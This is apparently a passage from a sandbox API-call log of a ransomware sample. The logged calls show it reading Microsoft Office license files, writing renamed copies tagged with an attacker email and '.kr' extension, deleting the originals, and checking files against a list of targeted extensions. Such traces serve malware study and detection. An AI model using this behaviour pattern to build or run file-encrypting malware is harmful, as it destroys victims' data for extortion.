lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41 [0202.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.322] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11651) returned 1 [0202.322] CloseHandle (hObject=0x534) returned 1 [0202.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0202.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0202.322] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.322] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.323] GetLastError () returned 0x0 [0202.323] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d83, lpOverlapped=0x0) returned 1 [0202.325] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0202.326] ReadFile (in: hFile=0x534, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.326] WriteFile (in: hFile=0x3e8, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x126, lpOverlapped=0x0) returned 1 [0202.326] SetEndOfFile (hFile=0x3e8) returned 1 [0202.326] CloseHandle (hObject=0x3e8) returned 1 [0202.326] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.326] SetEndOfFile (hFile=0x534) returned 1 [0202.329] CloseHandle (hObject=0x534) returned 1 [0202.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1 [0202.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.330] lstrlenW (lpString=".doc") returned 4 [0202.330] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.330] lstrlenW (lpString=".docx") returned 5 [0202.330] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.330] lstrlenW (lpString=".pdf") returned 4 [0202.557] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.557] lstrlenW (lpString=".xls") returned 4 [0202.557] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.557] lstrlenW (lpString=".xlsx") returned 5 [0202.557] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.557] lstrlenW (lpString=".ppt") returned 4 [0202.557] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.568] lstrlenW (lpString=".zip") returned 4 [0202.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.568] lstrlenW (lpString=".rar") returned 4 [0202.568] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.568] lstrlenW (lpString=".bz2") returned 4 [0202.568] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.568] lstrlenW (lpString=".7z") returned 3 [0202.568] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.568] lstrlenW (lpString=".dbf") returned 4 [0202.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.568] lstrlenW (lpString=".1cd") returned 4 [0202.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString=".jpg") returned 4 [0202.569] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString=".doc") returned 4 [0202.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".docx") returned 5 [0202.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.569] lstrlenW (lpString=".pdf") returned 4 [0202.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".xls") returned 4 [0202.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".xlsx") returned 5 [0202.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.569] lstrlenW (lpString=".ppt") returned 4 [0202.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString=".zip") returned 4 [0202.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".rar") returned 4 [0202.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".bz2") returned 4 [0202.569] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString=".7z") returned 3 [0202.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString=".dbf") returned 4 [0202.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.569] lstrlenW (lpString=".1cd") returned 4 [0202.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0202.570] lstrlenW (lpString=".jpg") returned 4 [0202.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.570] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.570] lstrlenW (lpString="O365HomePremR_Subscription5-ppd.xrm-ms") returned 38 [0202.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.570] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=26541) returned 1 [0202.570] CloseHandle (hObject=0x554) returned 1 [0202.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 0x220 [0202.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.571] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.571] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.572] GetLastError () returned 0x0 [0202.572] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x67ad, lpOverlapped=0x0) returned 1 [0202.575] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x67b0, lpOverlapped=0x0) returned 1 [0202.576] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.576] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x120, lpOverlapped=0x0) returned 1 [0202.576] SetEndOfFile (hFile=0x550) returned 1 [0202.576] CloseHandle (hObject=0x550) returned 1 [0202.576] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.577] SetEndOfFile (hFile=0x554) returned 1 [0202.579] CloseHandle (hObject=0x554) returned 1 [0202.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1 [0202.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.581] lstrlenW (lpString=".doc") returned 4 [0202.581] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".docx") returned 5 [0202.581] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.581] lstrlenW (lpString=".pdf") returned 4 [0202.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".xls") returned 4 [0202.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".xlsx") returned 5 [0202.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.581] lstrlenW (lpString=".ppt") returned 4 [0202.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.581] lstrlenW (lpString=".zip") returned 4 [0202.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".rar") returned 4 [0202.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".bz2") returned 4 [0202.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString=".7z") returned 3 [0202.581] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.581] lstrlenW (lpString=".dbf") returned 4 [0202.581] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.581] lstrlenW (lpString=".1cd") returned 4 [0202.581] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString=".jpg") returned 4 [0202.582] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString=".doc") returned 4 [0202.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".docx") returned 5 [0202.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.582] lstrlenW (lpString=".pdf") returned 4 [0202.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".xls") returned 4 [0202.582] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".xlsx") returned 5 [0202.582] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.582] lstrlenW (lpString=".ppt") returned 4 [0202.582] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString=".zip") returned 4 [0202.582] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".rar") returned 4 [0202.582] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".bz2") returned 4 [0202.582] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString=".7z") returned 3 [0202.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString=".dbf") returned 4 [0202.582] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.582] lstrlenW (lpString=".1cd") returned 4 [0202.582] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0202.583] lstrlenW (lpString=".jpg") returned 4 [0202.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.583] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.583] lstrlenW (lpString="O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 41 [0202.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.583] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11651) returned 1 [0202.583] CloseHandle (hObject=0x554) returned 1 [0202.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0202.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0202.584] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.584] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0202.585] GetLastError () returned 0x0 [0202.585] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2d83, lpOverlapped=0x0) returned 1 [0202.587] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2d90, lpOverlapped=0x0) returned 1 [0202.588] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0202.588] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x126, lpOverlapped=0x0) returned 1 [0202.588] SetEndOfFile (hFile=0x550) returned 1 [0202.588] CloseHandle (hObject=0x550) returned 1 [0202.589] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0202.589] SetEndOfFile (hFile=0x554) returned 1 [0202.592] CloseHandle (hObject=0x554) returned 1 [0202.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.593] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1 [0202.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.593] lstrlenW (lpString=".doc") returned 4 [0202.593] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.593] lstrlenW (lpString=".docx") returned 5 [0202.593] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.594] lstrlenW (lpString=".pdf") returned 4 [0202.594] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".xls") returned 4 [0202.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".xlsx") returned 5 [0202.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.594] lstrlenW (lpString=".ppt") returned 4 [0202.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString=".zip") returned 4 [0202.594] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".rar") returned 4 [0202.594] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".bz2") returned 4 [0202.594] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".7z") returned 3 [0202.594] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString=".dbf") returned 4 [0202.594] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString=".1cd") returned 4 [0202.594] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString=".jpg") returned 4 [0202.594] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.594] lstrlenW (lpString=".doc") returned 4 [0202.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0202.594] lstrlenW (lpString=".docx") returned 5 [0202.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0202.594] lstrlenW (lpString=".pdf") returned 4 [0202.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString=".xls") returned 4 [0202.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString=".xlsx") returned 5 [0202.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0202.595] lstrlenW (lpString=".ppt") returned 4 [0202.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0202.595] lstrlenW (lpString=".zip") returned 4 [0202.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString=".rar") returned 4 [0202.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString=".bz2") returned 4 [0202.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.595] lstrlenW (lpString=".7z") returned 3 [0202.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.595] lstrlenW (lpString="C:\\Program Files\\Microsoft 